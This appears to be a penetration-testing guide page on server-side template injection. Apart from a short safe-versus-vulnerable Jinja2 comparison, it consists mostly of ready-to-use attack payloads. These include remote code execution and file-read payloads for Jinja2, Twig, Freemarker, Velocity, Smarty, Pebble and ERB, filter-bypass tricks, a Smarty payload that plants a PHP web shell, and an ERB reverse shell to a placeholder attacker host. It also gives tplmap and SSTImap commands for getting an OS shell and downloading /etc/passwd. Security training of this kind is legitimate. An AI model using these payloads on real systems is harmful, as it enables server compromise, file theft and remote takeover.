Exploitation A03

Server-Side Template Injection (SSTI)

SSTI occurs when user input is embedded into server-side templates unsafely, allowing attackers to inject template directives and achieve remote code execution. This guide covers identification, exploitation, and template engine-specific payloads.

Why SSTI Matters

SSTI is one of the most dangerous web vulnerabilities as it often leads to Remote Code Execution (RCE). Attackers can read sensitive files, execute system commands, and completely compromise the server. Many developers don't realize that user input in templates is dangerous, making SSTI surprisingly common.

Danger

SSTI exploitation can lead to complete server compromise. Always ensure you have proper authorization and understand the potential impact before testing.

📑 Table of Contents

Tools & Resources

Tplmap

Automated SSTI detection & exploitation

git clone tplmap GitHub →

SSTImap

Modern SSTI scanner with more engines

pip install sstimap GitHub →

Burp Suite

Manual SSTI testing with Intruder

portswigger.net Website →

Hackvertor

Burp extension for payload encoding

BApp Store BApp Store →

PayloadsAllTheThings

Comprehensive SSTI payload collection

GitHub reference GitHub →

HackTricks SSTI

Detailed methodology & payloads

Reference guide HackTricks →

Understanding SSTI

Template engines are used to dynamically generate HTML pages by combining templates with data. When user input is directly concatenated into templates instead of being passed as data, attackers can inject template syntax.

Vulnerable vs Safe Code

❌ Vulnerable (Jinja2)

vulnerable.py
python
# User input in template string
template = "Hello " + user_input
render_template_string(template)

✅ Safe (Jinja2)

safe.py
python
# User input as data parameter
template = "Hello {{ name }}"
render_template_string(template, name=user_input)

SSTI Detection

Step 1: Identify Template Syntax

Different template engines use different syntax. Start with a polyglot payload to detect if template injection is possible:

detection-payloads.txt
plaintext
# Basic detection payloads
${7*7}
{{7*7}}
{{7*'7'}}
<%= 7*7 %>
#{7*7}
*{7*7}
@(7*7)

# If you see "49" in the response, SSTI is likely present

Step 2: Identify the Template Engine

Template Engine Decision Tree

decision-tree.txt
plaintext
Input: {{7*'7'}}

├── Output: 7777777 → Jinja2 or Twig
│   └── Test: {{config}} 
│       ├── Shows config → Jinja2 (Python)
│       └── Error → Twig (PHP)

├── Output: 49 → Twig, Smarty, or unknown
│   └── Test: {{_self.env.display("id")}}
│       ├── Executes → Twig
│       └── Error → Try other engines

├── Output: {{7*'7'}} (unchanged) → Not vulnerable or different syntax
│   └── Try: ${7*7}, <%= 7*7 %>, #{7*7}

└── Error message → Reveals template engine in error

Tip

Pro Tip: Error messages often reveal the template engine and version. Trigger errors intentionally with malformed syntax like {{{.

Jinja2 (Python/Flask)

Jinja2 is widely used in Python frameworks like Flask and Django. It's one of the most commonly exploited template engines.

Basic Detection

jinja2-detection.txt
jinja2
# Confirm Jinja2
{{config}}
{{config.items()}}
{{self.__dict__}}

# Dump all variables
{% for key, value in config.items() %}
  {{key}}: {{value}}
{% endfor %}

RCE Payloads

jinja2-rce.txt
jinja2
# Method 1: Using __class__.__mro__ chain
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen index (usually around 400+)
{{''.__class__.__mro__[1].__subclasses__()[414]('id',shell=True,stdout=-1).communicate()}}

# Method 2: Using __globals__ and __builtins__
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Method 3: Using request object (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Method 4: Using lipsum (Flask)
{{lipsum.__globals__['os'].popen('id').read()}}

# Method 5: Using cycler (Flask)
{{cycler.__init__.__globals__.os.popen('id').read()}}

Automated Subclass Finder

subclass-finder.txt
jinja2
# Python script to find useful subclasses
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{loop.index0}}: {{c.__name__}}
  {% endif %}
{% endfor %}

# Alternative: Find classes with 'read' method
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__init__.__globals__.get('__builtins__') %}
    {{loop.index0}}: {{c.__name__}}
  {% endif %}
{% endfor %}

Filter Bypass Techniques

jinja2-bypass.txt
jinja2
# Bypass underscore filter
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}

# Bypass using request args
{{request|attr(request.args.a)|attr(request.args.b)}}
# URL: ?a=__class__&b=__mro__

# Bypass quotes filter
{{request|attr(request.args.get(chr(97)))}}

Twig (PHP/Symfony)

Twig is the default template engine for Symfony and is widely used in PHP applications.

Detection & Information Gathering

twig-detection.txt
twig
# Confirm Twig
{{7*7}}
{{7*'7'}}
{{"test"}}

# Get Twig version
{{_self.env.getVersion()}}

# Dump available objects
{{app.request}}
{{_context}}

RCE Payloads

twig-rce.txt
twig
# Twig < 1.19 (registerUndefinedFilterCallback)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Twig < 1.19 alternative
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}

# Twig 1.x (using filter)
{{'/etc/passwd'|file_excerpt(1,30)}}

# Twig 2.x / 3.x (using map)
{{["id"]|map("system")}}

# Twig 2.x / 3.x (using filter function)
{{["id"]|filter("system")}}

# Twig 3.x (using reduce)
{{[0]|reduce("system","id")}}

File Read

twig-file-read.txt
twig
# Read file using source
{{source('/etc/passwd')}}

# Read file using include
{{include('/etc/passwd')}}

# Read file using file_excerpt filter
{{'/etc/passwd'|file_excerpt(1,-1)}}

Freemarker (Java)

Freemarker is commonly used in Java applications including Spring MVC.

Detection

freemarker-detection.txt
ftl
# Basic detection
${7*7}
<#assign x=7*7>${x}

# Version info
${.version}

RCE Payloads

freemarker-rce.txt
ftl
# Method 1: Using Execute class
<#assign ex="freemarker.template.utility.Execute"?new()>
${ ex("id") }

# Method 2: Using ObjectConstructor
<#assign oc="freemarker.template.utility.ObjectConstructor"?new()>
${oc("java.lang.ProcessBuilder", ["id"]).start()}

# Method 3: Using JythonRuntime (if Jython available)
<#assign jr="freemarker.template.utility.JythonRuntime"?new()>
<@jr>import os; os.system("id")</@jr>

# File read
<#assign is=oc("java.io.FileInputStream","/etc/passwd")>
<#assign isr=oc("java.io.InputStreamReader",is)>
<#assign br=oc("java.io.BufferedReader",isr)>
<#list 1..999 as _><#assign line=br.readLine()!><#if line?has_content>${line}</#if></#list>

Velocity (Java)

velocity-rce.txt
velocity
# Detection
#set($x=7*7)$x
$class.inspect("java.lang.Runtime")

# RCE
#set($runtime=Class.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($reader=Class.forName("java.io.BufferedReader").getConstructor(Class.forName("java.io.Reader")).newInstance(Class.forName("java.io.InputStreamReader").getConstructor(Class.forName("java.io.InputStream")).newInstance($process.getInputStream())))
#foreach($i in [1..999])
  #set($line=$reader.readLine())
  #if($line)$line#end
#end

Smarty (PHP)

smarty-rce.txt
smarty
# Detection
{$smarty.version}
{7*7}

# RCE (Smarty < 3)
{php}system('id');{/php}

# RCE (Smarty >= 3) - if security disabled
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']);?>",self::clearConfig())}

# Using tags
{system('id')}
{exec('id')}

Pebble (Java)

pebble-rce.txt
pebble
# Detection
{{ "test" }}
{{ 7*7 }}

# Variable dump
{{ _context }}

# RCE
{% set cmd = 'id' %}
{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}
{{ (1).TYPE.forName('java.lang.String').getConstructor((1).TYPE.forName('[B')).newInstance(bytes) }}

ERB (Ruby)

erb-rce.txt
erb
# Detection
<%= 7*7 %>
<%= self %>

# File read
<%= File.read('/etc/passwd') %>

# RCE
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').readlines() %>

# Reverse shell
<%= system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'") %>

Automated Exploitation

Using Tplmap

tplmap-usage.sh
bash
# Basic scan
python tplmap.py -u "http://target.com/page?name=test"

# POST request
python tplmap.py -u "http://target.com/page" -d "name=test"

# Specify engine
python tplmap.py -u "http://target.com/page?name=test" -e jinja2

# Get OS shell
python tplmap.py -u "http://target.com/page?name=test" --os-shell

# Execute command
python tplmap.py -u "http://target.com/page?name=test" --os-cmd "id"

# Download file
python tplmap.py -u "http://target.com/page?name=test" --download "/etc/passwd" "passwd.txt"

Using SSTImap

sstimap-usage.sh
bash
# Basic scan
python sstimap.py -u "http://target.com/page?name=test"

# Interactive mode
python sstimap.py -u "http://target.com/page?name=test" -i

# Specify technique
python sstimap.py -u "http://target.com/page?name=test" --technique R

# Using Burp proxy
python sstimap.py -u "http://target.com/page?name=test" --proxy http://127.0.0.1:8080

Testing Checklist

🔍 Detection

  • Test all user input fields with {{7*7}}
  • Check error messages for template engine info
  • Test URL parameters, POST data, headers
  • Check email templates, PDF generators
  • Test file names in upload features

🎯 Identification

  • Use decision tree to identify engine
  • Check response differences with various syntax
  • Look for technology hints in headers
  • Check framework-specific endpoints
  • Test multiple syntax styles

💥 Exploitation

  • Try engine-specific RCE payloads
  • Attempt file read first (less risky)
  • Use automation tools for efficiency
  • Test blind SSTI with time delays
  • Try out-of-band data exfiltration

🔓 Bypass Techniques

  • Hex encoding for filtered chars
  • String concatenation to avoid filters
  • Using request parameters for payload parts
  • Alternative syntax variations
  • Unicode normalization bypasses

Practice Labs